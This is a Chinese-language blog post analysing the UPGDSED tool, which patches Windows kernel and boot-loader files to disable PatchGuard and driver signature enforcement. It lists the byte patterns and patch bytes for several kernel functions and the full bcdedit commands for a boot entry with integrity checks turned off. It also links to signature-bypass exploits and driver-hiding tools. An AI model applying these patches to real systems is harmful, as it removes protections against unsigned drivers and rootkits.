大綱:
對UPGDSED源碼進行分析,並淺析其繞過PG和DSE方式。
小插曲:
(1)、要在內核搞事情,就必須加載驅動。加載驅動的道路充滿荊棘,先是有殺軟的加載驅動攔截,后是有MS的 PG 和 DSE 保護。殺軟那一關已經過了,但后面還有PG和DSE。
(2)、逐漸深入研究,發現Fyyre和EP_X0FF兩位大牛早已經繞過了,並且公布了UPGDSED源碼。在這里表示敬佩。
(3)、時間有限,接下來我能做的,就是分析UPGDSED源碼,和盡可能多得學習各種繞過的方法。所以UPGDSED源碼分析會先發布,而繞過PG和DSE方法會逐步更新。
(4)、為Win10_1803做准備。(據說1803的PG發生了大變化)。
大牛請留下指導or繞過~:)
一、PatchGuard
隱藏驅動過PG:
https://github.com/Sqdwr/HideDriver
https://github.com/ZhuHuiBeiShaDiao/NewHideDriverEx
二、Driver Signature Enforcement
0day漏洞繞過DSE:
http://www.powerofcommunity.net/poc2012/mj0011.pdf
https://github.com/shjalayeri/DriveCrypt
吊銷正規簽名過DSE:
https://bbs.pediy.com/thread-187348.htm
白名單驅動繞過DSE:
http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322
三、UPGDSED
EP_X0FF源碼:
參考資料:
https://github.com/hfiref0x/UPGDSED
http://www.kernelmode.info/forum/viewtopic.php?f=11&t=4707&p=30269&hilit=DSE#p30269
1、環境
以 win10_1709_16299.15 BIOS啟動為例分析:
2、UPGDSED的准備流程
主干簡單的述下:
(1)、PGDSED准備了兩種結構體,分別為 用作補丁的PATCH結構體 和 符號SYMBOL結構體。
(2)、PGDSED在修補內核文件時,有兩種找到目標函數的方式,分別為 通過符號查找 和 通過特征碼查找。
1、准備工作
PATCH結構體 和 SYMBOL結構體:
並定義一些修補函數的全局變量。
分別提取 "dbghelp.dll" 和 "symsrv.dll" 轉至目錄C:\Users\User\AppData\Local\Temp
加載Temp目錄下的"dbghelp.dll" 和 "symsrv.dll",並建立符號模型。
將C:\Windows\System32目錄下的"ntoskrnl.exe" 和 "winload.exe" 拷貝至C:\Users\User\AppData\Local\Temp目錄下,
並分別更名為"ntkrnlmp.exe" 和 "osloader.exe"。
有兩個函數 ScanNtos() 和 ScanWinload() 會分別對"ntkrnlmp.exe" 和 "osloader.exe" 進行掃描修補。
這里以SeValidateImageData為例:
將"ntkrnlmp.exe"映射進內存,並加載符號列表 和 初始化Symbol結構體數組。
然后調用專門的函數,處理對應內核文件的函數字節。
介紹兩種找到目標修改點的方式。
通過符號查找 和 通過FindPattern特征碼查找。
Symbol查找:
判斷版本,通過Symbol數組,查找目標函數名,返回函數地址。
要修改函數的哪個位置,把位置的特征碼賦值給Pattern,並設置掃描大小ScanSize。
如果獲取符號失敗,則采用
FindPattern特征碼方式:
定位到"EGAP"區段。區段的大小即掃描大小。
賦值更長更確定的特征碼給Pattern。
設置跳過字節。
遍歷找到指定位置。
最后轉換文件偏移,Address加上SkipBytes,保存在PATCH全局變量。
3、ScanNtos() 和 ScanWinload() 分析(重點)
分析,並做出前后對比。
system32 "ntoskrnl.exe" -->> Temp "ntkrnlmp.exe"
SeValidateImageData:
FindPattern數據:
unsigned char ptSeValidateImageData_2_15063_16299[] = { 0xB8, 0x28, 0x04, 0x00, 0xC0, 0xEB };
SkipBytes字節:
#define ptSkipBytesSeValidateImageData_9600_16299 1
PatchData數據:
// Patch data for SeValidateImageData STATUS_SUCCESS
unsigned char pdSeValidateImageData[] = { 0x0, 0x0, 0x0, 0x0 };
修改前:
修改后:
CcInitializeBcbProfiler:
符號搜索:
Address = (ULONG_PTR)SymbolAddressFromName(TEXT("CcInitializeBcbProfiler"));
FindPattern數據:
//Windows 10+
unsigned char ptCcInitializeBcbProfiler_10240_16299[] = {
0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41,
0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x6C,
0x24, 0xE1, 0x48, 0x81, 0xEC, 0xB8, 0x00, 0x00,
0x00
};
PatchData數據:
unsigned char pdCcInitializeBcbProfiler[] = { 0xB0, 0x01, 0xC3 };
修改前:
修改后:
KeInitAmd64SpecificState:
符號搜索:
Address = (ULONG_PTR)SymbolAddressFromName(TEXT("KeInitAmd64SpecificState"));
FindPattern數據:
//Windows 8/8.1/10 (TH1/TH2/RS1/RS2/RS3)
unsigned char ptKeInitAmd64SpecificState_9200_16299[] = { 0x48, 0x83, 0xEC, 0x28, 0x83, 0x3D };
PatchData數據:
unsigned char pdKeInitAmd64SpecificState[] = { 0x33, 0xC0, 0xC3 };
修改前:
修改后:
ExpLicenseWatchInitWorker:
符號搜索:
Address = (ULONG_PTR)SymbolAddressFromName(TEXT("ExpLicenseWatchInitWorker"));
FindPattern數據:
//Windows 8.1/10 TH1/TH2/RS1/RS3
unsigned char ptExpLicenseWatchInitWorker2[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x05 };
PatchData數據:
unsigned char pdExpLicenseWatchInitWorker[] = { 0x33, 0xC0, 0xC3 };
修改前:
修改后:
SepInitializeCodeIntegrity:
符號搜索:
ScanPtr = (PVOID)SymbolAddressFromName(TEXT("SepInitializeCodeIntegrity"));
FindPattern數據:
//Windows 10 RS3
unsigned char ptSepInitializeCodeIntegrity2_16299[] = {
0x48, 0x89, 0x5C, 0x24, 0x08, 0x57,
0x48, 0x83, 0xEC, 0x20, 0xBB, 0xC0,
0x00, 0x00, 0x00
};
&&-->>
unsigned char ptSepInitializeCodeIntegrity_16299[] = { 0x8B, 0xCF, 0xFF };
PatchData數據:
unsigned char pdSepInitializeCodeIntegrity[] = { 0x31, 0xC9 };
修改前:
修改后:
system32 "winload.exe" -->> Temp "osloader.exe"
ImgpValidateImageHash:
符號搜索:
// Invalid
Address = (ULONG_PTR)SymbolAddressFromName(TEXT("ImgpValidateImageHash"));
FindPattern數據:
unsigned char ptImgpValidateImageHash_16299[] = {
0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x48, 0x20, 0x44, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48,
0x89, 0x48, 0x08, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48,
0x8D, 0xA8, 0xA8, 0xFE, 0xFF, 0xFF
};
PatchData數據:
unsigned char pdImgpValidateImageHash[] = { 0x33, 0xC0, 0xC3 };
修改前:
修改后:
另:
加命令行參數"-pf"啟動程序,將會忽略掉KeInitAmd64SpecificState 和 ExpLicenseWatchInitWorker,而選擇 KiFilterFiberContext 進行修補。
KiFilterFiberContext:
符號搜索:
Address = (ULONG_PTR)SymbolAddressFromName(TEXT("KiFilterFiberContext"));
FindPattern數據:
//Windows 10 RS3
unsigned char ptKiFilterFiberContext_16299[] = {
0x48, 0x89, 0x5C, 0x24, 0x08, 0x55, 0x56,
0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,
0x41, 0x57, 0x48, 0x8D, 0x6C, 0x24, 0xD9,
0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00
};
PatchData數據:
unsigned char pdKiFilterFiberContext[] = { 0xB0, 0x01, 0xC3 };
修改前:
修改后:
4、后續修補及操作
逐個PATCH修改內核文件。
修正文件的校驗和。
將文件移至system32。
Temp "ntkrnlmp.exe" && Temp "osloader.exe" -->> system32
設置BCD條目。
cmd以下命令:
bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Patch Guard Disabled" -application OSLOADER
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
bcdedit.exe -timeout 10
bcdedit.exe -set bootmenupolicy legacy
BCD加入的配置信息:
Windows 啟動加載器
-------------------
標識符 {71a3c7fc-f751-4982-aec1-e958357e6813}
device partition=C:
path \Windows\system32\osloader.exe
description Patch Guard Disabled
inherit {bootloadersettings}
recoveryenabled No
nointegritychecks Yes
osdevice partition=C:
systemroot \Windows
kernel ntkrnlmp.exe
nx OptIn
三、UPGDSED淺析
主要對(二 . 3)的探究,原理淺析。
源碼采用的是靜態繞過PG和DSE。
1、PG
資料准備中,很快更新。
2、DSE
資料准備中,很快更新。
參考資料:
原文:
譯文:
3、校驗修改
修改了ntoskrnl.exe就必須修改winload.exe 的 ImgpValidateImageHash,因為ImgpValidateImageHash會對文件的數字簽名和文件的完整性進行校驗,修改頭部字節讓它返回STATUS_SUCCESS即可。
附言:
研究這些費了不少時間,而且研究MS Edge的保護也花了不少時間,等搞完后要好好研究內核的一些神操作。
還有,此篇文章未完待續,因為1803還沒搞定呢。
KID